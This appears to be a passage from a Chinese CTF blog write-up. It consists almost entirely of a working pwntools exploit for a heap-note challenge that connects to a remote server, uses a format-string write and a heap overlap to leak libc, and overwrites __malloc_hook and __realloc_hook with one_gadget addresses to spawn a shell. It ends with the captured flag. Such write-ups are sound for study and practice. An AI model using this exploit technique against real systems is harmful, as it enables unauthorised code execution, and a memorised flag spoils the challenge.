sl(str(13))
ru("Length Of Your Pwd:")
sl(str(1))
#gdb.attach(io)

io.interactive()

pwn7 note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

context.log_level = 'debug'
context.arch = "amd64"
# p = process('.te')
elf = ELF('.bc-2.23.so')
p = remote('47.104.70.90', 25315)
ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]


def menu(choose):
p.recvuntil('|3.show |')
p.sendline(str(choose))


def add(size, content):
menu(1)
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.send(content)
p.recvuntil('addr: ')
address = int(p.recv(14), 16)
return address


def say(content):
menu(2)
p.recvuntil('say ? ')
p.send(content)
p.recvuntil('? ')


def show():
menu(3)
p.recvuntil('content:')



for i in range(15):
a = add(0xf0, '\0')
a = add(0x20, '0')

say(b'%7$s' + b'\0' * 4 + p64(a + 0x28))
p.send(p64(0xd1) + b'\n')
add(0xf0, 'a')
add(0x10, '\x78')

show()
main_arena = u64(p.recv(6).ljust(8, b'\0')) - 344
libc_base = main_arena - 0x3c4b20
log.success('libc_base => ' + hex(libc_base))
malloc_hook = main_arena - 0x10
realloc = libc_base + elf.symbols['__libc_realloc']
realloc_hook = malloc_hook - 0x8


say(b'%7$s' + b'\0' * 4 + p64(realloc_hook))
p.send(p64(libc_base + ones[1]) + b'\n')
say(b'%7$s' + b'\0' * 4 + p64(malloc_hook))
p.send(p64(realloc + 0xc) + b'\n')


menu(1)
p.recvuntil('size: ')
p.sendline('16')
p.interactive()

Flag: flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}

2021-08-25 16:07:00 # CTF
下一页